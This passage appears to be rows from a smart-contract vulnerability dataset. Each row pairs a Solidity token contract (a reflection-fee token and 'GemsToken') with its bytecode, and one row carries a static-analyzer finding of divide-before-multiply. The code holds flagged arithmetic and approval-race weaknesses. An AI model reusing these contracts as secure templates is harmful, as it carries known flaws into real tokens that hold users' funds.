}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 2);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e99614610289578063d543dbeb1461029c578063dd62ed3e146102af578063f2cc0c18146102c2578063f2fde38b146102d5578063f84354f1146102e85761014d565b8063715018a6146102365780637d1db4a51461023e5780638da5cb5b1461024657806395d89b411461025b578063a457c2d714610263578063a9059cbb146102765761014d565b806323b872dd1161011557806323b872dd146101c25780632d838119146101d5578063313ce567146101e857806339509351146101fd5780634549b0391461021057806370a08231146102235761014d565b8063053ab1821461015257806306fdde0314610167578063095ea7b31461018557806313114a9d146101a557806318160ddd146101ba575b600080fd5b6101656101603660046115ae565b6102fb565b005b61016f6103c0565b60405161017c9190611618565b60405180910390f35b610198610193366004611585565b610452565b60405161017c919061160d565b6101ad610470565b60405161017c9190611a16565b6101ad610476565b6101986101d036600461154a565b610485565b6101ad6101e33660046115ae565b61055b565b6101f061059e565b60405161017c9190611a1f565b61019861020b366004611585565b6105a7565b6101ad61021e3660046115c6565b6105f6565b6101ad6102313660046114f7565b61065a565b6101656106bc565b6101ad610745565b61024e61074b565b60405161017c91906115f9565b61016f61075a565b610198610271366004611585565b610769565b610198610284366004611585565b61080d565b6101986102973660046114f7565b610821565b6101656102aa3660046115ae565b61083f565b6101ad6102bd366004611518565b6108a5565b6101656102d03660046114f7565b6108d0565b6101656102e33660046114f7565b610a08565b6101656102f63660046114f7565b610ac8565b6000610305610c9d565b6001600160a01b03811660009081526004602052604090205490915060ff161561034a5760405162461bcd60e51b815260040161034190611985565b60405180910390fd5b600061035583610ca1565b5050506001600160a01b03841660009081526001602052604090205491925061038091839150611a84565b6001600160a01b0383166000908152600160205260409020556006546103a7908290611a84565b6006556007546103b8908490611a2d565b600755505050565b6060600880546103cf90611a9b565b80601f01602080910402602001604051908101604052809291908181526020018280546103fb90611a9b565b80156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610c9d565b8484610ced565b5060015b92915050565b60075490565b6a52b7d2dcc80cd2e400000090565b6000610492848484610da1565b6001600160a01b0384166000908152600360205260408120906104b3610c9d565b6001600160a01b03166001600160a01b03168152602001908152602001600020548211156104f35760405162461bcd60e51b815260040161034190611836565b610551846104ff610c9d565b6001600160a01b03871660009081526003602052604081208691610521610c9d565b6001600160a01b03166001600160a01b031681526020019081526020016000205461054c9190611a84565b610ced565b5060019392505050565b600060065482111561057f5760405162461bcd60e51b8152600401610341906116ae565b6000610589610fcf565b90506105958184611a45565b9150505b919050565b600a5460ff1690565b60006104666105b4610c9d565b8484600360006105c2610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a2d565b60006a52b7d2dcc80cd2e40000008311156106235760405162461bcd60e51b8152600401610341906117b7565b8161064157600061063384610ca1565b5092945061046a9350505050565b600061064c84610ca1565b5091945061046a9350505050565b6001600160a01b03811660009081526004602052604081205460ff161561069a57506001600160a01b038116600090815260026020526040902054610599565b6001600160a01b03821660009081526001602052604090205461046a9061055b565b6106c4610c9d565b6001600160a01b03166106d561074b565b6001600160a01b0316146106fb5760405162461bcd60e51b81526004016103419061187e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b6060600980546103cf90611a9b565b600060036000610777610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918716815292529020548211156107c05760405162461bcd60e51b8152600401610341906119d1565b6104666107cb610c9d565b8484600360006107d9610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a84565b600061046661081a610c9d565b8484610da1565b6001600160a01b031660009081526004602052604090205460ff1690565b610847610c9d565b6001600160a01b031661085861074b565b6001600160a01b03161461087e5760405162461bcd60e51b81526004016103419061187e565b6064610895826a52b7d2dcc80cd2e4000000611a65565b61089f9190611a45565b600b5550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6108d8610c9d565b6001600160a01b03166108e961074b565b6001600160a01b03161461090f5760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16156109485760405162461bcd60e51b815260040161034190611780565b6001600160a01b038116600090815260016020526040902054156109a2576001600160a01b0381166000908152600160205260409020546109889061055b565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610a10610c9d565b6001600160a01b0316610a2161074b565b6001600160a01b031614610a475760405162461bcd60e51b81526004016103419061187e565b6001600160a01b038116610a6d5760405162461bcd60e51b8152600401610341906116f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610ad0610c9d565b6001600160a01b0316610ae161074b565b6001600160a01b031614610b075760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16610b3f5760405162461bcd60e51b815260040161034190611780565b60005b600554811015610c9957816001600160a01b031660058281548110610b7757634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610c875760058054610ba290600190611a84565b81548110610bc057634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600580546001600160a01b039092169183908110610bfa57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610c6057634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610c99565b80610c9181611ad6565b915050610b42565b5050565b3390565b6000806000806000806000610cb588610ff2565b915091506000610cc3610fcf565b90506000806000610cd58c8686611025565b919e909d50909b509599509397509395505050505050565b6001600160a01b038316610d135760405162461bcd60e51b815260040161034190611941565b6001600160a01b038216610d395760405162461bcd60e51b81526004016103419061173e565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d94908590611a16565b60405180910390a3505050565b6001600160a01b038316610dc75760405162461bcd60e51b8152600401610341906118fc565b6001600160a01b038216610ded5760405162461bcd60e51b81526004016103419061166b565b60008111610e0d5760405162461bcd60e51b8152600401610341906118b3565b610e1561074b565b6001600160a01b0316836001600160a01b031614158015610e4f5750610e3961074b565b6001600160a01b0316826001600160a01b031614155b15610e7657600b54811115610e765760405162461bcd60e51b8152600401610341906117ee565b6001600160a01b03831660009081526004602052604090205460ff168015610eb757506001600160a01b03821660009081526004602052604090205460ff16155b15610ecc57610ec7838383611061565b610fca565b6001600160a01b03831660009081526004602052604090205460ff16158015610f0d57506001600160a01b03821660009081526004602052604090205460ff165b15610f1d57610ec783838361117b565b6001600160a01b03831660009081526004602052604090205460ff16158015610f5f57506001600160a01b03821660009081526004602052604090205460ff16155b15610f6f57610ec7838383611224565b6001600160a01b03831660009081526004602052604090205460ff168015610faf57506001600160a01b03821660009081526004602052604090205460ff165b15610fbf57610ec7838383611266565b610fca838383611224565b505050565b6000806000610fdc6112d8565b9092509050610feb8183611a45565b9250505090565b60008080611001606485611a45565b61100c906002611a65565b9050600061101a8286611a84565b935090915050915091565b60008080806110348588611a65565b905060006110428688611a65565b905060006110508284611a84565b929992985090965090945050505050565b600080600080600061107286610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506110a3908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546110d3908690611a84565b6001600160a01b03808a166000908152600160205260408082209390935590891681522054611103908590611a2d565b6001600160a01b03881660009081526001602052604090205561112683826114ba565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111699190611a16565b60405180910390a35050505050505050565b600080600080600061118c86610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506111bd908690611a84565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546111f4908390611a2d565b6001600160a01b038816600090815260026020908152604080832093909355600190522054611103908590611a2d565b600080600080600061123586610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506110d3908690611a84565b600080600080600061127786610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506112a8908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546111bd908690611a84565b60065460009081906a52b7d2dcc80cd2e4000000825b6005548110156114755782600160006005848154811061131e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611397575081600260006005848154811061137057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156113b7576006546a52b7d2dcc80cd2e4000000945094505050506114b6565b60016000600583815481106113dc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205461140b9084611a84565b9250600260006005838154811061143257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546114619083611a84565b91508061146d81611ad6565b9150506112ee565b506a52b7d2dcc80cd2e400000060065461148f9190611a45565b8210156114b0576006546a52b7d2dcc80cd2e40000009350935050506114b6565b90925090505b9091565b816006546114c89190611a84565b6006556007546114d9908290611a2d565b6007555050565b80356001600160a01b038116811461059957600080fd5b600060208284031215611508578081fd5b611511826114e0565b9392505050565b6000806040838503121561152a578081fd5b611533836114e0565b9150611541602084016114e0565b90509250929050565b60008060006060848603121561155e578081fd5b611567846114e0565b9250611575602085016114e0565b9150604084013590509250925092565b60008060408385031215611597578182fd5b6115a0836114e0565b946020939093013593505050565b6000602082840312156115bf578081fd5b5035919050565b600080604083850312156115d8578182fd5b82359150602083013580151581146115ee578182fd5b809150509250929050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561164457858101830151858201604001528201611628565b818111156116555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b6020808252601f908201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252602c908201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460408201526b3434b990333ab731ba34b7b760a11b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115611a4057611a40611af1565b500190565b600082611a6057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a7f57611a7f611af1565b500290565b600082821015611a9657611a96611af1565b500390565b600281046001821680611aaf57607f821691505b60208210811415611ad057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611aea57611aea611af1565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220b6731fcfef30c5efeb7cd03b60d61b906284fa2673d86248b55698e70dd7b46d64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,227 |
0x04e9734be606eae570432a7fad573be124245b33
|
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract GemsToken is Ownable{
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
string public name = "Gems Of Power";
string public symbol = "GOP";
uint8 public decimals = 18;
uint256 public totalSupply = 200000000 * 10 ** uint(decimals);
address crowdsaleContract = address(0x0);
bool flag = false;
function GemsToken () public {
balances[this] = totalSupply;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply;
}
/**
* @dev getdecimals
*/
function getdecimals() public view returns (uint8) {
return decimals;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[_to] = balances[_to].add(_value);
balances[msg.sender] = balances[msg.sender].sub(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* public transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint256 _value) internal returns (bool) {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]);
// Save this for an assertion in the future
uint previousBalances = balances[_from].add(balances[_to]);
// Subtract from the sender
balances[_from] = balances[_from].sub(_value);
// Add the same to the recipient
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function sendCrowdsaleBalance (address _address, uint256 _value) public {
require (msg.sender == crowdsaleContract);
require (_value <= balances[this]);
totalSupply = totalSupply.sub(_value);
balances[this] = balances[this].sub(_value);
balances[_address] = balances[_address].add(_value);
Transfer(this, _address, _value);
}
function sendOwnerBalance(address _address, uint _value) public onlyOwner {
uint256 value = _value * 10 ** uint(decimals);
require (value <= balances[this]);
balances[this] = balances[this].sub(value);
balances[_address] = balances[_address].add(value);
Transfer(this, _address, value);
}
function setCrowdsaleContract(address _address) public onlyOwner {
require(!flag);
crowdsaleContract = _address;
flag = true;
}
function removeCrowdsaleContract(address _address) public onlyOwner {
require(flag);
if(crowdsaleContract == _address) {
crowdsaleContract = address(0x0);
flag = false;
}
}
function GetcrowdsaleContract() public view returns(address) {
return crowdsaleContract;
}
}
|
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a578063130985f4146101c057806318160ddd146101ef57806323b872dd1461021457806327e235e31461023c578063313ce5671461025b57806340c3418c146102845780636596cff3146102a857806370a08231146102c7578063736cb0e2146102e65780638da5cb5b1461030857806395d89b411461031b578063a9059cbb1461032e578063b20e5a7914610350578063cdc3c07f14610363578063dd62ed3e14610382578063f2fde38b146103a7575b600080fd5b341561010b57600080fd5b6101136103c6565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014f578082015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019557600080fd5b6101ac600160a060020a0360043516602435610464565b604051901515815260200160405180910390f35b34156101cb57600080fd5b6101d36104d0565b604051600160a060020a03909116815260200160405180910390f35b34156101fa57600080fd5b6102026104df565b60405190815260200160405180910390f35b341561021f57600080fd5b6101ac600160a060020a03600435811690602435166044356104e5565b341561024757600080fd5b610202600160a060020a0360043516610655565b341561026657600080fd5b61026e610667565b60405160ff909116815260200160405180910390f35b341561028f57600080fd5b6102a6600160a060020a0360043516602435610670565b005b34156102b357600080fd5b6102a6600160a060020a036004351661076e565b34156102d257600080fd5b610202600160a060020a0360043516610810565b34156102f157600080fd5b6102a6600160a060020a036004351660243561082b565b341561031357600080fd5b6101d3610924565b341561032657600080fd5b610113610933565b341561033957600080fd5b6101ac600160a060020a036004351660243561099e565b341561035b57600080fd5b61026e610a86565b341561036e57600080fd5b6102a6600160a060020a0360043516610a8f565b341561038d57600080fd5b610202600160a060020a0360043581169060243516610b0b565b34156103b257600080fd5b6102a6600160a060020a0360043516610b36565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561045c5780601f106104315761010080835404028352916020019161045c565b820191906000526020600020905b81548152906001019060200180831161043f57829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600754600160a060020a031690565b60065490565b6000600160a060020a03831615156104fc57600080fd5b600160a060020a03841660009081526001602052604090205482111561052157600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561055457600080fd5b600160a060020a03841660009081526001602052604090205461057d908363ffffffff610bd116565b600160a060020a0380861660009081526001602052604080822093909355908516815220546105b2908363ffffffff610be316565b600160a060020a038085166000908152600160209081526040808320949094558783168252600281528382203390931682529190915220546105fa908363ffffffff610bd116565b600160a060020a0380861660008181526002602090815260408083203386168452909152908190209390935590851691600080516020610bfa8339815191529085905190815260200160405180910390a35060019392505050565b60016020526000908152604090205481565b60055460ff1681565b60075433600160a060020a0390811691161461068b57600080fd5b600160a060020a0330166000908152600160205260409020548111156106b057600080fd5b6006546106c3908263ffffffff610bd116565b600655600160a060020a0330166000908152600160205260409020546106ef908263ffffffff610bd116565b600160a060020a033081166000908152600160205260408082209390935590841681522054610724908263ffffffff610be316565b600160a060020a038084166000818152600160205260409081902093909355913090911690600080516020610bfa8339815191529084905190815260200160405180910390a35050565b60005433600160a060020a0390811691161461078957600080fd5b60075474010000000000000000000000000000000000000000900460ff16156107b157600080fd5b6007805474ff000000000000000000000000000000000000000019600160a060020a0390931673ffffffffffffffffffffffffffffffffffffffff19909116179190911674010000000000000000000000000000000000000000179055565b600160a060020a031660009081526001602052604090205490565b6000805433600160a060020a0390811691161461084757600080fd5b50600554600160a060020a03301660009081526001602052604090205460ff909116600a0a82029081111561087b57600080fd5b600160a060020a0330166000908152600160205260409020546108a4908263ffffffff610bd116565b600160a060020a0330811660009081526001602052604080822093909355908516815220546108d9908263ffffffff610be316565b600160a060020a038085166000818152600160205260409081902093909355913090911690600080516020610bfa8339815191529084905190815260200160405180910390a3505050565b600054600160a060020a031681565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561045c5780601f106104315761010080835404028352916020019161045c565b6000600160a060020a03831615156109b557600080fd5b600160a060020a0333166000908152600160205260409020548211156109da57600080fd5b600160a060020a038316600090815260016020526040902054610a03908363ffffffff610be316565b600160a060020a03808516600090815260016020526040808220939093553390911681522054610a39908363ffffffff610bd116565b600160a060020a03338116600081815260016020526040908190209390935590851691600080516020610bfa8339815191529085905190815260200160405180910390a350600192915050565b60055460ff1690565b60005433600160a060020a03908116911614610aaa57600080fd5b60075474010000000000000000000000000000000000000000900460ff161515610ad357600080fd5b600754600160a060020a0382811691161415610b08576007805474ffffffffffffffffffffffffffffffffffffffffff191690555b50565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610b5157600080fd5b600160a060020a0381161515610b6657600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bdd57fe5b50900390565b600082820183811015610bf257fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820da0dd6aeb7a098bd4cfdf82076ee